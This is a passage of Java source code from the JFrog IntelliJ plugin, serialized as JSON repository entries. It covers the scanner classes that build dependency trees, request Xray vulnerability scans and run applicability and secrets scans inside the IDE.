used to perform the inspection on the project-descriptor files.\n     *\n     * @return the Inspection tool corresponding to the scan-manager type.\n     */\n    @Nullable\n    protected abstract AbstractInspection getInspectionTool();\n\n    protected void sendUsageReport() {\n        ApplicationManager.getApplication().invokeLater(() -> Utils.sendUsageReport(getPackageManagerType().getName() + \"-deps\"));\n    }\n\n    protected abstract PackageManagerType getPackageManagerType();\n\n    /**\n     * Groups a collection of {@link DependencyNode}s by the descriptor files of the modules that depend on them.\n     * The returned DependencyNodes inside the {@link FileTreeNode}s might be clones of the ones in depScanResults, but\n     * it's not guaranteed.\n     *\n     * @param depScanResults collection of DependencyNodes\n     * @param depTree        the project's dependency tree\n     * @param parents        a map of components by their IDs and their parents in the dependency tree\n     * @return a list of FileTreeNodes (that are all DescriptorFileTreeNodes) having the DependencyNodes as their children\n     */\n    protected abstract List<FileTreeNode> groupDependenciesToDescriptorNodes(Collection<DependencyNode> depScanResults, DepTree depTree, Map<String, Set<String>> parents);\n\n    /**\n     * Scan and update dependency components.\n     *\n     * @param indicator - The progress indicator\n     */\n    private void scanAndUpdate(ProgressIndicator indicator) {\n        try {\n            sendUsageReport();\n\n            // Building dependency tree\n            indicator.setText(\"1/3: Building dependency tree\");\n            DepTree depTree = buildTree();\n            checkCanceled();\n\n            // Sending the dependency tree to Xray for scanning\n            indicator.setText(\"2/3: Xray scanning project dependencies\");\n            log.debug(\"Start scan for '\" + basePath + \"'.\");\n            Map<String, DependencyNode> results = scanLogic.scanArtifacts(depTree, serverConfig, indicator, prefix, this::checkCanceled);\n            checkCanceled();\n\n            indicator.setText(\"3/3: Finalizing\");\n            if (results == null || results.isEmpty()) {\n                // No violations/vulnerabilities or no components to scan or an error was thrown\n                return;\n            }\n            List<FileTreeNode> fileTreeNodes = buildImpactGraph(results, depTree);\n            addScanResults(fileTreeNodes);\n\n            // Contextual Analysis\n            List<FileTreeNode> applicabilityScanResults = sourceCodeScannerManager.applicabilityScan(indicator, fileTreeNodes, this::checkCanceled);\n            addScanResults(applicabilityScanResults);\n\n            // Force inspections run due to changes in the displayed tree\n            runInspections();\n\n        } catch (ProcessCanceledException e) {\n            log.info(\"Xray scan was canceled\");\n            scanCanceled.set(true);\n        } catch (Exception e) {\n            scanError.set(true);\n            logError(log, \"Xray scan failed\", e, true);\n        }\n    }\n\n    protected List<FileTreeNode> buildImpactGraph(Map<String, DependencyNode> vulnerableDependencies, DepTree depTree) throws IOException {\n        Map<String, Set<String>> parents = getParents(depTree);\n        ImpactTreeBuilder.populateImpactTrees(vulnerableDependencies, parents, depTree.rootId());\n        return groupDependenciesToDescriptorNodes(vulnerableDependencies.values(), depTree, parents);\n    }\n\n    /**\n     * Find the parents of each node in the given {@link DepTree}.\n     * Nodes without parents (the root) don't appear in the returned map.\n     *\n     * @param depTree the {@link DepTree} to find the parents of its nodes\n     * @return a map of nodes from the {@link DepTree} amd each one's parents\n     */\n    static Map<String, Set<String>> getParents(DepTree depTree) {\n        Map<String, Set<String>> parents = new HashMap<>();\n        for (Map.Entry<String, DepTreeNode> node : depTree.nodes().entrySet()) {\n            String parentId = node.getKey();\n            for (String childId : node.getValue().getChildren()) {\n                parents.putIfAbsent(childId, new HashSet<>());\n                parents.get(childId).add(parentId);\n            }\n        }\n        return parents;\n    }\n\n    /**\n     * Launch async dependency scan.\n     */\n    void asyncScanAndUpdateResults() {\n        if (DumbService.isDumb(project)) { // If intellij is still indexing the project\n            return;\n        }\n        // The tasks run asynchronously. To make sure no more than 3 tasks are running concurrently,\n        // we use a count-down latch that signals to that executor service that it can get more tasks.\n        CountDownLatch latch = new CountDownLatch(1);\n        Task.Backgroundable scanAndUpdateTask = new Task.Backgroundable(null, getTaskTitle()) {\n            @Override\n            public void run(@NotNull com.intellij.openapi.progress.ProgressIndicator indicator) {\n                if (project.isDisposed()) {\n                    return;\n                }\n                // Prevent multiple simultaneous scans\n                if (!scanInProgress.compareAndSet(false, true)) {\n                    log.info(\"Scan already in progress\");\n                    return;\n                }\n                progressIndicator = indicator;\n                scanAndUpdate(new ProgressIndicatorImpl(indicator));\n            }\n\n            @Override\n            public void onFinished() {\n                latch.countDown();\n                scanInProgress.set(false);\n            }\n\n            @Override\n            public void onThrowable(@NotNull Throwable error) {\n                log.error(ExceptionUtils.getRootCauseMessage(error));\n                scanError.set(true);\n            }\n\n        };\n        executor.submit(createRunnable(scanAndUpdateTask, latch, progressIndicator, log));\n    }\n\n    /**\n     * Stop the current scan.\n     */\n    void stopScan() {\n        if (progressIndicator != null) {\n            progressIndicator.cancel();\n        }\n    }\n\n    /**\n     * Get text to display in the task progress.\n     *\n     * @return text to display in the task progress.\n     */\n    private String getTaskTitle() {\n        Path projectBasePath = Utils.getProjectBasePath(project);\n        Path wsBasePath = Paths.get(basePath);\n        String relativePath = \"\";\n        if (projectBasePath.isAbsolute() == wsBasePath.isAbsolute()) {\n            // If one of the path is relative and the other one is absolute, the following exception is thrown:\n            // IllegalArgumentException: 'other' is different type of Path\n            relativePath = projectBasePath.relativize(wsBasePath).toString();\n        }\n        return \"JFrog scanning \" + StringUtils.defaultIfBlank(relativePath, project.getName());\n    }\n\n    /**\n     * Create a runnable to be submitted to the executor service, or run directly.\n     *\n     * @param task              The task to submit\n     * @param latch             The countdown latch, which makes sure the executor service doesn't get more than 3 tasks.\n     *                          If null, the scan was initiated by a change in the project descriptor and the executor\n     *                          service is terminated. In this case, there is no requirement to wait.\n     * @param progressIndicator The task's {@link com.intellij.openapi.progress.ProgressIndicator} object.\n     */\n    public static Runnable createRunnable(Task.Backgroundable task, CountDownLatch latch, com.intellij.openapi.progress.ProgressIndicator progressIndicator, Log log) {\n        return () -> {\n            // The progress manager is only good for foreground threads.\n            if (SwingUtilities.isEventDispatchThread()) {\n                task.queue();\n            } else {\n                // Run the scan task when the thread is in the foreground.\n                ApplicationManager.getApplication().invokeLater(task::queue);\n            }\n            try {\n                // Wait for scan to finish, to make sure the thread pool remain full\n                if (latch != null) {\n                    latch.await();\n                }\n            } catch (InterruptedException e) {\n                // This exception is thrown when this thread is interrupted (e.g. when the scan timeout has elapsed).\n                logError(log, ExceptionUtils.getRootCauseMessage(e), e, false);\n                progressIndicator.cancel();\n            }\n        };\n    }\n\n    /**\n     * Returns all project modules locations as Paths.\n     * Other scanners such as npm will use these paths in order to find modules.\n     *\n     * @return all project modules locations as Paths\n     */\n    public Set<Path> getProjectPaths() {\n        Set<Path> paths = Sets.newHashSet();\n        paths.add(Paths.get(basePath));\n        return paths;\n    }\n\n    void runInspections() {\n        DumbService.getInstance(project).smartInvokeLater(() -> {\n            PsiFile[] projectDescriptors = getProjectDescriptors();\n            if (ArrayUtils.isEmpty(projectDescriptors)) {\n                return;\n            }\n            GlobalInspectionContext context = InspectionManager.getInstance(project).createNewGlobalContext();\n            AbstractInspection localInspectionTool = getInspectionTool();\n            if (localInspectionTool == null) {\n                return;\n            }\n            localInspectionTool.setAfterScan(true);\n            for (PsiFile descriptor : projectDescriptors) {\n                // Run inspection on descriptor.\n                InspectionEngine.runInspectionOnFile(descriptor, new LocalInspectionToolWrapper(localInspectionTool), context);\n                FileEditor[] editors = FileEditorManager.getInstance(project).getAllEditors(descriptor.getVirtualFile());\n                if (!ArrayUtils.isEmpty(editors)) {\n                    // Refresh descriptor highlighting only if it is already opened.\n                    DaemonCodeAnalyzer.getInstance(project).restart(descriptor);\n                }\n            }\n        });\n    }\n\n    private void addScanResults(List<FileTreeNode> fileTreeNodes) {\n        if (fileTreeNodes.isEmpty()) {\n            return;\n        }\n        LocalComponentsTree componentsTree = LocalComponentsTree.getInstance(project);\n        componentsTree.addScanResults(fileTreeNodes);\n    }\n\n    protected void checkCanceled() {\n        if (project.isOpen()) {\n            // The project is closed if we are in test mode.\n            // In tests, we can't check if the user canceled the scan, since we don't have the ProgressManager service.\n            ProgressManager.checkCanceled();\n        }\n    }\n\n    boolean isScanInProgress() {\n        return this.scanInProgress.get();\n    }\n\n    boolean isScanErrorOccurred() {\n        return this.scanError.get();\n    }\n\n    boolean isScanCanceled() {\n        return this.scanCanceled.get();\n    }\n\n    public String getProjectPath() {\n        return this.basePath;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/ScannerFactory.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.google.common.base.Objects;\nimport com.google.common.collect.Maps;\nimport com.intellij.openapi.module.Module;\nimport com.intellij.openapi.module.ModuleManager;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.projectRoots.Sdk;\nimport com.jetbrains.python.sdk.PythonSdkUtil;\nimport com.jfrog.ide.common.scan.ScanLogic;\nimport com.jfrog.ide.common.utils.PackageFileFinder;\nimport com.jfrog.ide.idea.configuration.GlobalSettings;\nimport com.jfrog.ide.idea.log.Logger;\nimport org.jetbrains.annotations.Nullable;\n\nimport java.io.IOException;\nimport java.nio.file.Path;\nimport java.util.Collection;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ExecutorService;\n\nimport static com.jfrog.ide.idea.scan.utils.ScanUtils.createScanPaths;\nimport static com.jfrog.ide.idea.utils.Utils.getProjectBasePath;\n\n/**\n * Created by yahavi\n */\npublic class ScannerFactory {\n    private final Project project;\n\n    public ScannerFactory(Project project) {\n        this.project = project;\n    }\n\n    public static int getModuleIdentifier(String name, String path) {\n        return Objects.hashCode(name, path);\n    }\n\n    /**\n     * Scan projects, create new Scanners and delete unnecessary ones.\n     * Existing Scanners from previous scans, are not overridden.\n     */\n    public Map<Integer, ScannerBase> refreshScanners(Map<Integer, ScannerBase> oldScanners, ScanLogic scanLogic,\n                                                     @Nullable ExecutorService executor) throws IOException {\n        Map<Integer, ScannerBase> scanners = Maps.newHashMap();\n        refreshMavenScanner(scanners, oldScanners, executor, scanLogic);\n        refreshPypiScanners(scanners, oldScanners, executor, scanLogic);\n        Set<Path> scanPaths = createScanPaths(project);\n        oldScanners.values().stream().map(ScannerBase::getProjectPaths).flatMap(Collection::stream).forEach(scanPaths::add);\n        refreshGenericScanners(scanners, oldScanners, scanPaths, executor, scanLogic);\n        return scanners;\n    }\n\n    /**\n     * Create npm, Gradle, Go and Yarn Scanners.\n     *\n     * @param newScanners the new Scanners map to add the Scanners into\n     * @param oldScanners the Scanners map including the Scanner of the current project, or an empty map for a fresh start\n     * @param scanPaths   potential paths for scanning for package descriptor files\n     * @param executor    the thread pool\n     * @throws IOException in case of any I/O error during the search for the actual package descriptor files.\n     */\n    private void refreshGenericScanners(Map<Integer, ScannerBase> newScanners, Map<Integer, ScannerBase> oldScanners,\n                                        Set<Path> scanPaths, ExecutorService executor, ScanLogic scanLogic) throws IOException {\n        Path basePath = getProjectBasePath(project);\n        PackageFileFinder packageFileFinder = new PackageFileFinder(scanPaths, basePath,\n                GlobalSettings.getInstance().getServerConfig().getExcludedPaths(), Logger.getInstance());\n\n        // Create Yarn scanners\n        Set<String> yarnLockDirs = packageFileFinder.getYarnPackagesFilePairs();\n        refreshGenericScannersByType(yarnLockDirs, newScanners, oldScanners, GenericScannerType.YARN, executor, scanLogic);\n\n        // Create npm scanners\n        Set<String> packageJsonDirs = packageFileFinder.getNpmPackagesFilePairs();\n        refreshGenericScannersByType(packageJsonDirs, newScanners, oldScanners, GenericScannerType.NPM, executor, scanLogic);\n\n        // Create Gradle scanners\n        Set<String> buildGradleDirs = packageFileFinder.getBuildGradlePackagesFilePairs();\n        refreshGenericScannersByType(buildGradleDirs, newScanners, oldScanners, GenericScannerType.GRADLE, executor, scanLogic);\n\n        // Create Go scanners\n        Set<String> goModDirs = packageFileFinder.getGoPackagesFilePairs();\n        refreshGenericScannersByType(goModDirs, newScanners, oldScanners, GenericScannerType.GO, executor, scanLogic);\n    }\n\n    /**\n     * Create a MavenScanner if this is a Maven project.\n     *\n     * @param newScanners new scanners map\n     * @param oldScanners existing scanners map\n     * @param executor    an executor that should limit the number of running tasks to 3\n     * @param scanLogic   the scan logic to use\n     */\n    private void refreshMavenScanner(Map<Integer, ScannerBase> newScanners, Map<Integer, ScannerBase> oldScanners,\n                                     ExecutorService executor, ScanLogic scanLogic) {\n        int projectHash = getModuleIdentifier(project.getName(), project.getBasePath());\n        ScannerBase scanner = oldScanners.get(projectHash);\n\n        // Check if a ScanManager for this project already exists\n        if (scanner != null) {\n            // Set the new executor on the old scan manager\n            scanner.setExecutor(executor);\n            scanner.setScanLogic(scanLogic);\n            newScanners.put(projectHash, scanner);\n        } else {\n            // Unlike other scanners whereby we create them if the package descriptor exist, MavenScanner is created if\n            // the Maven plugin is installed and there are Maven projects loaded.\n            try {\n                if (MavenScanner.isApplicable(project)) {\n                    scanner = new MavenScanner(project, executor, scanLogic);\n                    newScanners.put(projectHash, scanner);\n                }\n            } catch (NoClassDefFoundError noClassDefFoundError) {\n                // The Maven plugin is not installed.\n            }\n        }\n    }\n\n    /**\n     * Create PypiScanner for each module with Python SDK configured.\n     *\n     * @param newScanners new scanners map\n     * @param oldScanners existing scanners map\n     * @param executor    an executor that should limit the number of running tasks to 3\n     * @param scanLogic   the scan logic to use\n     */\n    private void refreshPypiScanners(Map<Integer, ScannerBase> newScanners, Map<Integer, ScannerBase> oldScanners,\n                                     ExecutorService executor, ScanLogic scanLogic) {\n        try {\n            for (Module module : ModuleManager.getInstance(project).getModules()) {\n                Sdk pythonSdk = PythonSdkUtil.findPythonSdk(module);\n                if (pythonSdk == null) {\n                    continue;\n                }\n                int projectHash = getModuleIdentifier(pythonSdk.getName(), pythonSdk.getHomePath());\n                ScannerBase scanner = oldScanners.get(projectHash);\n                if (scanner == null) {\n                    scanner = new PypiScanner(project, pythonSdk, executor, scanLogic);\n                }\n                scanner.setExecutor(executor);\n                scanner.setScanLogic(scanLogic);\n                newScanners.put(projectHash, scanner);\n            }\n        } catch (NoClassDefFoundError noClassDefFoundError) {\n            // The Python plugin is not installed.\n        }\n    }\n\n    private void refreshGenericScannersByType(Set<String> packageDirs, Map<Integer, ScannerBase> newScanners, Map<Integer, ScannerBase> oldScanners,\n                                              GenericScannerType type, ExecutorService executor, ScanLogic scanLogic) {\n        for (String dir : packageDirs) {\n            int projectHash = getModuleIdentifier(dir, dir);\n            ScannerBase scanner = oldScanners.get(projectHash);\n            if (scanner == null) {\n                scanner = createGenericScanner(type, dir, executor, scanLogic);\n            }\n            if (scanner != null) {\n                scanner.setExecutor(executor);\n                scanner.setScanLogic(scanLogic);\n                newScanners.put(projectHash, scanner);\n            }\n        }\n    }\n\n    /**\n     * Create a new scanner according to the type. Add it to the scanners map.\n     * Supported types: Go, npm, gradle and Yarn.\n     *\n     * @param type      project type\n     * @param dir       project dir\n     * @param executor  an executor that should limit the number of running tasks to 3\n     * @param scanLogic the scan logic to use\n     */\n    private ScannerBase createGenericScanner(GenericScannerType type, String dir, ExecutorService executor, ScanLogic scanLogic) {\n        try {\n            switch (type) {\n                case GRADLE:\n                    return new GradleScanner(project, dir, executor, scanLogic);\n                case YARN:\n                    return new YarnScanner(project, dir, executor, scanLogic);\n                case NPM:\n                    return new NpmScanner(project, dir, executor, scanLogic);\n                case GO:\n                    return new GoScanner(project, dir, executor, scanLogic);\n            }\n        } catch (NoClassDefFoundError noClassDefFoundError) {\n            // The Gradle plugin is not installed.\n        }\n        return null;\n    }\n\n    private enum GenericScannerType {\n        GRADLE,\n        NPM,\n        GO,\n        YARN\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/SecretsScannerExecutor.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.jfrog.ide.common.log.ProgressIndicator;\nimport com.jfrog.ide.common.nodes.FileIssueNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.nodes.subentities.SourceCodeScanType;\nimport com.jfrog.ide.idea.inspections.JFrogSecurityWarning;\nimport com.jfrog.ide.idea.scan.data.PackageManagerType;\nimport com.jfrog.ide.idea.scan.data.ScanConfig;\nimport com.jfrog.xray.client.services.entitlements.Feature;\nimport org.jfrog.build.api.util.Log;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\n\n/**\n * @author Tal Arian\n */\npublic class SecretsScannerExecutor extends ScanBinaryExecutor {\n    private static final List<String> SCANNER_ARGS = List.of(\"sec\");\n    private static final String ISSUE_TITLE = \"Potential Secret\";\n\n    public SecretsScannerExecutor(Log log) {\n        super(SourceCodeScanType.SECRETS, log);\n    }\n\n    public List<JFrogSecurityWarning> execute(ScanConfig.Builder inputFileBuilder, Runnable checkCanceled, ProgressIndicator indicator) throws IOException, InterruptedException {\n        return super.execute(inputFileBuilder, SCANNER_ARGS, checkCanceled, indicator);\n    }\n\n    @Override\n    List<FileTreeNode> createSpecificFileIssueNodes(List<JFrogSecurityWarning> warnings) {\n        HashMap<String, FileTreeNode> results = new HashMap<>();\n        for (JFrogSecurityWarning warning : warnings) {\n            // Create FileTreeNodes for files with found issues\n            FileTreeNode fileNode = results.get(warning.getFilePath());\n            if (fileNode == null) {\n                fileNode = new FileTreeNode(warning.getFilePath());\n                results.put(warning.getFilePath(), fileNode);\n            }\n\n            FileIssueNode issueNode = new FileIssueNode(ISSUE_TITLE,\n                    warning.getFilePath(), warning.getLineStart(), warning.getColStart(), warning.getLineEnd(), warning.getColEnd(),\n                    warning.getScannerSearchTarget(), warning.getLineSnippet(), warning.getReporter(), warning.getSeverity(), warning.getRuleID());\n            fileNode.addIssue(issueNode);\n        }\n        return new ArrayList<>(results.values());\n    }\n\n    @Override\n    public Feature getScannerFeatureName() {\n        return Feature.SECRETS;\n    }\n\n    @Override\n    protected boolean isPackageTypeSupported(PackageManagerType packageType) {\n        return true;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/SingleDescriptorScanner.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.intellij.openapi.project.Project;\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.deptree.DepTreeNode;\nimport com.jfrog.ide.common.nodes.DependencyNode;\nimport com.jfrog.ide.common.nodes.DescriptorFileTreeNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.scan.ComponentPrefix;\nimport com.jfrog.ide.common.scan.ScanLogic;\nimport com.jfrog.ide.idea.ui.ComponentsTree;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.extractor.scan.DependencyTree;\n\nimport java.util.*;\nimport java.util.concurrent.CopyOnWriteArrayList;\nimport java.util.concurrent.ExecutorService;\n\npublic abstract class SingleDescriptorScanner extends ScannerBase {\n    protected String descriptorFilePath;\n\n    /**\n     * @param project            currently opened IntelliJ project. We'll use this project to retrieve project based services\n     *                           like {@link ConsistentFilterManager} and {@link ComponentsTree}\n     * @param basePath           project base path\n     * @param prefix             components prefix for xray scan, e.g. gav:// or npm://\n     * @param executor           an executor that should limit the number of running tasks to 3\n     * @param descriptorFilePath path to the project's descriptor file\n     * @param scanLogic          the scan logic to use\n     */\n    SingleDescriptorScanner(@NotNull Project project, String basePath, ComponentPrefix prefix, ExecutorService executor,\n                            String descriptorFilePath, ScanLogic scanLogic) {\n        super(project, basePath, prefix, executor, scanLogic);\n        this.descriptorFilePath = descriptorFilePath;\n    }\n\n    /**\n     * @param project   currently opened IntelliJ project. We'll use this project to retrieve project based services\n     *                  like {@link ConsistentFilterManager} and {@link ComponentsTree}\n     * @param basePath  project base path\n     * @param prefix    components prefix for xray scan, e.g. gav:// or npm://\n     * @param executor  an executor that should limit the number of running tasks to 3\n     * @param scanLogic the scan logic to use\n     */\n    SingleDescriptorScanner(@NotNull Project project, String basePath, ComponentPrefix prefix, ExecutorService executor,\n                            ScanLogic scanLogic) {\n        this(project, basePath, prefix, executor, \"\", scanLogic);\n    }\n\n    /**\n     * Groups a collection of {@link DependencyNode}s by the descriptor files of the modules that depend on them.\n     * The returned DependencyNodes inside the {@link FileTreeNode}s are references of the ones in depScanResults.\n     *\n     * @param depScanResults collection of DependencyNodes\n     * @param depTree        the project's dependency tree\n     * @param parents        a map of components by their IDs and their parents in the dependency tree\n     * @return a list of FileTreeNodes (that are all DescriptorFileTreeNodes) having the DependencyNodes as their children\n     */\n    @Override\n    protected List<FileTreeNode> groupDependenciesToDescriptorNodes(Collection<DependencyNode> depScanResults, DepTree depTree, Map<String, Set<String>> parents) {\n        DescriptorFileTreeNode fileTreeNode = new DescriptorFileTreeNode(descriptorFilePath);\n        for (DependencyNode dependency : depScanResults) {\n            dependency.setIndirect(!isDirectDependency(dependency, depTree, parents));\n            fileTreeNode.addDependency(dependency);\n        }\n        return new CopyOnWriteArrayList<>(List.of(fileTreeNode));\n    }\n\n    private boolean isDirectDependency(DependencyNode dependency, DepTree depTree, Map<String, Set<String>> parents) {\n        // Check if the component is the root node\n        if (dependency.getComponentIdWithoutPrefix().equals(depTree.rootId())) {\n            return true;\n        }\n        // Check if any of the parent's descriptor file path matches the current descriptor file path\n        return parents.getOrDefault(dependency.getComponentIdWithoutPrefix(), Collections.emptySet())\n                .stream()\n                .map(depTree.nodes()::get)\n                .anyMatch(parent -> descriptorFilePath.equals(parent.getDescriptorFilePath()));\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/SourceCodeScannerManager.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.intellij.openapi.progress.ProgressManager;\nimport com.intellij.openapi.progress.Task;\nimport com.intellij.openapi.project.DumbService;\nimport com.intellij.openapi.project.Project;\nimport com.jfrog.ide.common.log.ProgressIndicator;\nimport com.jfrog.ide.common.nodes.DependencyNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.nodes.VulnerabilityNode;\nimport com.jfrog.ide.common.nodes.subentities.SourceCodeScanType;\nimport com.jfrog.ide.idea.configuration.GlobalSettings;\nimport com.jfrog.ide.idea.inspections.JFrogSecurityWarning;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.log.ProgressIndicatorImpl;\nimport com.jfrog.ide.idea.scan.data.PackageManagerType;\nimport com.jfrog.ide.idea.scan.data.ScanConfig;\nimport com.jfrog.ide.idea.scan.data.applications.JFrogApplicationsConfig;\nimport com.jfrog.ide.idea.scan.data.applications.ModuleConfig;\nimport com.jfrog.ide.idea.scan.data.applications.ScannerConfig;\nimport com.jfrog.ide.idea.ui.LocalComponentsTree;\nimport org.apache.commons.collections.CollectionUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.jetbrains.annotations.NotNull;\n\nimport javax.swing.tree.TreeNode;\nimport java.io.File;\nimport java.io.IOException;\nimport java.net.URISyntaxException;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.Enumeration;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.atomic.AtomicBoolean;\nimport java.util.regex.Matcher;\n\nimport static com.jfrog.ide.common.log.Utils.logError;\nimport static com.jfrog.ide.common.utils.Utils.createYAMLMapper;\nimport static com.jfrog.ide.idea.scan.ScannerBase.createRunnable;\nimport static com.jfrog.ide.idea.scan.data.applications.JFrogApplicationsConfig.createApplicationConfigWithDefaultModule;\nimport static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.EXCLUSIONS_PREFIX;\nimport static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.EXCLUSIONS_REGEX_PATTERN;\nimport static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.EXCLUSIONS_SUFFIX;\nimport static com.jfrog.ide.idea.utils.Utils.getProjectBasePath;\nimport static org.apache.commons.lang3.StringUtils.defaultIfEmpty;\n\npublic class SourceCodeScannerManager {\n    private final Path jfrogApplictionsConfigPath;\n    private final AtomicBoolean scanInProgress = new AtomicBoolean(false);\n    private final ApplicabilityScannerExecutor applicability = new ApplicabilityScannerExecutor(Logger.getInstance());\n    private final Map<SourceCodeScanType, ScanBinaryExecutor> scanners = initScannersCollection();\n    protected Project project;\n    protected PackageManagerType packageType;\n    private static final String SKIP_FOLDERS_SUFFIX = \"*/**\";\n    private com.intellij.openapi.progress.ProgressIndicator progressIndicator;\n\n    public SourceCodeScannerManager(Project project) {\n        this.project = project;\n        this.jfrogApplictionsConfigPath = getProjectBasePath(project).resolve(\".jfrog\").resolve(\"jfrog-apps-config.yml\");\n    }\n\n    public SourceCodeScannerManager(Project project, PackageManagerType packageType) {\n        this(project);\n        this.packageType = packageType;\n    }\n\n    /**\n     * Applicability source code scanning (Contextual Analysis).\n     *\n     * @param indicator     the progress indicator.\n     * @param fileTreeNodes collection of FileTreeNodes.\n     * @return A list of FileTreeNodes having the source code issues as their children.\n     */\n    public List<FileTreeNode> applicabilityScan(ProgressIndicator indicator, Collection<FileTreeNode> fileTreeNodes, Runnable checkCanceled) {\n        if (project.isDisposed()) {\n            return Collections.emptyList();\n        }\n        // Prevent multiple simultaneous scans\n        if (!scanInProgress.compareAndSet(false, true)) {\n            return Collections.emptyList();\n        }\n        List<JFrogSecurityWarning> scanResults = new ArrayList<>();\n        Map<String, List<VulnerabilityNode>> issuesMap = mapDirectIssuesByCve(fileTreeNodes);\n\n        try {\n            if (applicability.isPackageTypeSupported(packageType)) {\n                indicator.setText(\"Running applicability scan\");\n                indicator.setFraction(0.25);\n                Set<String> directIssuesCVEs = issuesMap.keySet();\n                // If no direct dependencies with issues are found by Xray, the applicability scan is irrelevant.\n                if (!directIssuesCVEs.isEmpty()) {\n                    List<JFrogSecurityWarning> applicabilityResults = applicability.execute(createBasicScannerInput().cves(List.copyOf(directIssuesCVEs)), checkCanceled, indicator);\n                    scanResults.addAll(applicabilityResults);\n                }\n            }\n        } catch (InterruptedException e) {\n            logError(Logger.getInstance(), \"Scan canceled due to a user request or timeout.\", false);\n        } catch (IOException | NullPointerException e) {\n            logError(Logger.getInstance(), \"Failed to scan source code\", e, true);\n        } finally {\n            scanInProgress.set(false);\n            indicator.setFraction(1);\n        }\n        return applicability.createSpecificFileIssueNodes(scanResults, issuesMap);\n    }\n\n    /**\n     * Launch async source code scans.\n     */\n    void asyncScanAndUpdateResults(ExecutorService executor, Logger log) {\n        // If intellij is still indexing the project, do not scan.\n        if (DumbService.isDumb(project)) {\n            return;\n        }\n        // The tasks run asynchronously. To make sure no more than 3 tasks are running concurrently,\n        // we use a count-down latch that signals to that executor service that it can get more tasks.\n        CountDownLatch latch = new CountDownLatch(1);\n        Task.Backgroundable sourceCodeScanTask = new Task.Backgroundable(null, \"Advanced source code scanning\") {\n            @Override\n            public void run(@NotNull com.intellij.openapi.progress.ProgressIndicator indicator) {\n                if (project.isDisposed()) {\n                    return;\n                }\n                // Prevent multiple simultaneous scans\n                if (!scanInProgress.compareAndSet(false, true)) {\n                    log.info(\"Advanced source code scan is already in progress\");\n                    return;\n                }\n                try {\n                    progressIndicator = indicator;\n                    sourceCodeScanAndUpdate(new ProgressIndicatorImpl(indicator), ProgressManager::checkCanceled, log);\n                } catch (IOException e) {\n                    logError(Logger.getInstance(), \"Failed to run advanced source code scanning.\", e, true);\n                }\n            }\n\n            @Override\n            public void onFinished() {\n                latch.countDown();\n                scanInProgress.set(false);\n            }\n\n            @Override\n            public void onThrowable(@NotNull Throwable error) {\n                log.error(ExceptionUtils.getRootCauseMessage(error));\n            }\n\n        };\n        executor.submit(createRunnable(sourceCodeScanTask, latch, progressIndicator, log));\n    }\n\n    public void stopScan() {\n        if (progressIndicator != null) {\n            progressIndicator.cancel();\n        }\n    }\n\n    private void sourceCodeScanAndUpdate(ProgressIndicator indicator, Runnable checkCanceled, Logger log) throws IOException {\n        indicator.setText(\"Running advanced source code scanning\");\n        JFrogApplicationsConfig projectConfig = parseJFrogApplicationsConfig();\n\n        for (ModuleConfig moduleConfig : projectConfig.getModules()) {\n            scan(moduleConfig, indicator, checkCanceled, log);\n        }\n    }\n\n    private void scan(ModuleConfig moduleConfig, ProgressIndicator indicator, Runnable checkCanceled, Logger log) {\n        double fraction = 0;\n        for (SourceCodeScanType scannerType : scanners.keySet()) {\n            checkCanceled.run();\n            ScanBinaryExecutor scanner = scanners.get(scannerType);\n            ScannerConfig scannerConfig = null;\n            if (moduleConfig != null) {\n                // Skip the scanner If requested.\n                if (moduleConfig.getExcludeScanners() != null && moduleConfig.getExcludeScanners().contains(scannerType.toString().toLowerCase())) {\n                    log.debug(String.format(\"Skipping %s scanning\", scannerType.toString().toLowerCase()));\n                    continue;\n                }\n                // Use specific scanner config if exists.\n                if (moduleConfig.getScanners() != null) {\n                    scannerConfig = moduleConfig.getScanners().get(scannerType.toString().toLowerCase());\n                }\n            }\n            try {\n                List<JFrogSecurityWarning> scanResults = scanner.execute(createBasicScannerInput(moduleConfig, scannerConfig), checkCanceled, indicator);\n                addSourceCodeScanResults(scanner.createSpecificFileIssueNodes(scanResults));\n            } catch (IOException | URISyntaxException | InterruptedException e) {\n                logError(log, \"\", e, true);\n            }\n            fraction += 1.0 / scanners.size();\n            indicator.setFraction(fraction);\n        }\n    }\n\n    private JFrogApplicationsConfig parseJFrogApplicationsConfig() throws IOException {\n        ObjectMapper mapper = createYAMLMapper();\n        File config = jfrogApplictionsConfigPath.toFile();\n        if (config.exists()) {\n            return mapper.readValue(config, JFrogApplicationsConfig.class);\n        }\n        return createApplicationConfigWithDefaultModule(project);\n    }\n\n    private void addSourceCodeScanResults(List<FileTreeNode> fileTreeNodes) {\n        if 